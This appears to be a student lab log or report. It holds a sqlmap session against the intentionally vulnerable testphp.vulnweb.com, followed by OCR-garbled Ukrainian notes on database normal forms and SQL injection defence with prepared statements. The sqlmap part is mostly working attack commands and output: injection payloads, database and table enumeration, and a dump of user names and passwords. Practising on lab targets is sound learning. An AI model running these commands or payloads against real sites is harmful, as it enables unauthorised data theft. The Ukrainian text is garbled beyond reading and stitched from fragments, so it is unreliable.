[00:02:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:03:12] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[00:03:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:03:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:03:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[00:03:24] [INFO] target URL appears to have 3 columns in query
[00:03:32] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 56 HTTP(s) requests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 6742=6742

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 9114 FROM (SELECT(SLEEP(5)))iDrf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-8207 UNION ALL SELECT NULL,CONCAT(0x717a766a71,0x71586565674d6e5363706c57726a705955414270497a617765764f5a52457154616b69476d46796f,0x716a6b7171),NULL-- -
---
[00:03:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[00:03:49] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[00:03:49] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[00:03:49] [WARNING] your sqlmap version is outdated

[*] ending @ 00:03:49 /2024-10-25/

                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# sqlmap -u "testphp.vulnweb.com/artists.php?artist=1" -D "acuart" --tables
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[(]_____ ___ ___  {1.6.4#stable}                                                                                                                                                                                                   
|_ -| . ["]     | .'| . |                                                                                                                                                                                                                  
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      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:07:02 /2024-10-25/

[00:07:03] [INFO] resuming back-end DBMS 'mysql' 
[00:07:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 6742=6742

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 9114 FROM (SELECT(SLEEP(5)))iDrf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-8207 UNION ALL SELECT NULL,CONCAT(0x717a766a71,0x71586565674d6e5363706c57726a705955414270497a617765764f5a52457154616b69476d46796f,0x716a6b7171),NULL-- -
---
[00:07:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[00:07:12] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[00:07:12] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[00:07:12] [WARNING] your sqlmap version is outdated

[*] ending @ 00:07:12 /2024-10-25/

                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# sqlmap -u "testphp.vulnweb.com/artists.php?artist=1" -D "acuart" -T "users" --columns
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[,]_____ ___ ___  {1.6.4#stable}                                                                                                                                                                                                   
|_ -| . [,]     | .'| . |                                                                                                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                  
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[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:09:27 /2024-10-25/

[00:09:27] [INFO] resuming back-end DBMS 'mysql' 
[00:09:28] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 6742=6742

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 9114 FROM (SELECT(SLEEP(5)))iDrf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-8207 UNION ALL SELECT NULL,CONCAT(0x717a766a71,0x71586565674d6e5363706c57726a705955414270497a617765764f5a52457154616b69476d46796f,0x716a6b7171),NULL-- -
---
[00:09:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[00:09:34] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| name    | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[00:09:43] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[00:09:43] [WARNING] your sqlmap version is outdated

[*] ending @ 00:09:43 /2024-10-25/
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[~]
└─# sqlmap -u "testphp.vulnweb.com/artists.php?artist=1" -D "acuart" -T "users" -C "name,pass,email,uname" --dump
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[)]_____ ___ ___  {1.6.4#stable}                                                                                                                                                                                                   
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[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:13:43 /2024-10-25/

[00:13:43] [INFO] resuming back-end DBMS 'mysql' 
[00:13:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 6742=6742

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=1 AND (SELECT 9114 FROM (SELECT(SLEEP(5)))iDrf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-8207 UNION ALL SELECT NULL,CONCAT(0x717a766a71,0x71586565674d6e5363706c57726a705955414270497a617765764f5a52457154616b69476d46796f,0x716a6b7171),NULL-- -
---
[00:14:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[00:14:00] [INFO] fetching entries of column(s) 'email,name,pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+------------+------+-----------------+-------+
| name       | pass | email           | uname |
+------------+------+-----------------+-------+
| John Smith | test | email@email.com | test  |
+------------+------+-----------------+-------+

[00:14:03] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[00:14:03] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 00:14:03 /2024-10-25/
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- BIACYTHI CTPYKTYpHi aTpHOYTI! - BCi aTPHOYTH «aTOMapHi»;
- HeMA PAUIKIB, AKi IOBTOPIOKOTECH.
Tipyra BilHOIe NS R 3HAXOIITCA Y ApYTiil HOpMATSHIN (opMi
HOpManeHa | (2NF) B ToMy i TUTEKI B TOMy BILIAZIKY, KOTII IlepeGyBae B INF,
opya (2NF) | i KokeR HCKTOHOBII ATPHOVI MOBICTIO 3aeAiTs B

TIEPBIHHOIO KI0YA.
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Tpets
HOpMAIbHa
dopma (3NF)

BigsomreHHs R 3HAXOAUTHCS B TPeTiii HOpMaibHiil hpopmi
(3NF) B TOMY i TinBKH B TOMY BHIIAJKY, SIKIIO IepebyBae B 2NF
1 KOJKeH 3 HeKITIOUOBHX aTPHOYTIB HETPAH3ITIIBHO 3a/I€KITH Bl
TEPBIHHOTO KIH0Ya.

BigsomreHHs R 3HAXOAUTHCS B TPeTiii HOpMaibHiil hpopmi
(3NF) B ToMy i TUIBKIH B TOMY BHIIAJKY, SKIIIO IepedyBae B 2NF,
i KO/KEH 3 HeKIIIOUOBIX aTPHOYTIB He € TPAH3UTHBHO 3AIICHKHIIM
Bix Oyap-sKoro Kiroda R.

Ha mpakTimi Tpers HopMambHa (opMa CXeM BiTHOIIEHb
JOCTAaTHY B OLIBINOCTI BHNAAKIB, i IPHBENCHHSIM [0 TPETHOL
HOpMayIbHOI (hOPMII IIpOIleC NPOEKTYBAHHS DeNfliiHol 6asi
JAaHHX 3a3BHYAll 3aKiHdyeThcs. OOHAK IHOAI KOPHCHO
TIPOJIOB/KUTH TPOITec HopMalizauii.

HopmansHa
opma Boiica-
Komma (BCNF)

JletepMiHaHT - Oyab-KHil aTpHOyT, BiX SKOrO IOBHICTIO
DYHKIIIOHABHO 3alIeXUTh TesSKHUIT iHIIIi aTpuoyT.

BigsomreHHs R 3HaXommThes B HopManbHiil dopmi Boiica-
Koxna (BCNF) B ToMy i TifBKH B TOMY BHIIAJIKY, SIKIIIO KOKEH
JIeTEPMIHAHT € MOAJINBIM KIIOUeM.
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YeTrepTa
HOPMATBHA
Qopya (4NF)

¥ BigHomenHi R (A, B, C) icHye GAraTo3HatHa 3ATCKHICTS,
RA (1) (1) R.B B TOMY i TUIBKII B TOMY BUIIAZKY, SIKIIO MEOKIHA
sHavens B, BUIOBINNA Napi 3HAYeHs A i C, SATSKITS TUTBKI
B A | He 3a1eKuITS B C.

Bimomens R 3HAXOMITECS B YeTBepTiif HOpMATBHIL
gopmi (4NF) B Tomy i TUTBKI B TOMy BHIAIKY, AKIIO
BiHOmeRHs 3maxomumees y 3NF Ta B pasi icHyamms
GaraTossatHol sanexsocti A (r) (r) B Bei immi atpubym R
(YHKUOHATBHO 3aTeXATS Bixt A.

Tsta
HopMaTBHA
gopma,  abo
‘HopMaTBHA
dopma
mpoexuii-
3’€HaHHA
(SNF abo PJ /
NF).

3aleAHICTS 3'eiHaHMA. BUMOMeHRA R (X, Y, ... Z)
3A0BOBHAE JATEKHOCT ¥ eHanEA (X, Y, ... Z) B ToMy |
TITBKIL B TOMy BUIAIKY, Ko R BLIHOBIIOETBCA Ge3 BIpAT
IUIIXOM 7€ AHARAS CBOIX IpOeKiii Ba X, Y., ..., Z.
BiJHome A R 3HAXOMITECS B I'ATiil HopMatsHill Gopyi
(HopmansHilt GopMi mpoeKuii-2’exnanms - PY / NF) B Tomy i
TUIBKIL B TOMY BUIAZIKY, KOTII GY15-SKa 3ATSKHICTS 3'€.AHAHASA
B R BIIUTIBAE 3 CHYBAHIT JESKOTO MOAIIBOTO KITIO4a B R.
II'siTa HopMATSHA (JOpMA — Lle OCTAHES HOPMATEHA (opMa,
Ky MOKHA OTPIMATH IAXOM JeKoMIO3IIiL, I yMoBl socus
HeTpipiamsi, | Ea mpakrimi SNF He BUKOPICTOBYETECS.
3ayBaAIMO, IO JATEKHICTD 3'EIHARIA € YIATATBHEHHAM AK
6araTo3HATHOI 3ATEKHOCTI. TAK i hYHKITIOHATHHOI 3aTeKHOCTI.
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SELECT * FROM users WHERE username = ‘admin’ AND password = ‘password’;
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sql

SELECT * FROM users WHERE username

* AND password =
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- 3MiHa 200 BIUIATEHHS JAHNX. 3TOBMIICHIK MOXe 3MIHITH a0 BIUIATHTI!

i B Ga3i, IO MOe NPI3BECTI 210 BTPATH KHTITHO| indopvamii.
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php

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password

$stmt->execute([$username, $password]);
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ILle BKMOTAE B cebe aHai3 apXiTeKTypn 6a3 MamIX, Texnik SQL-in’exuiii Ta

3300618, 5IKi MOXYTB GyTH BKOPIICTAH] U1 PO3POGKII eKCILTOHTIS.
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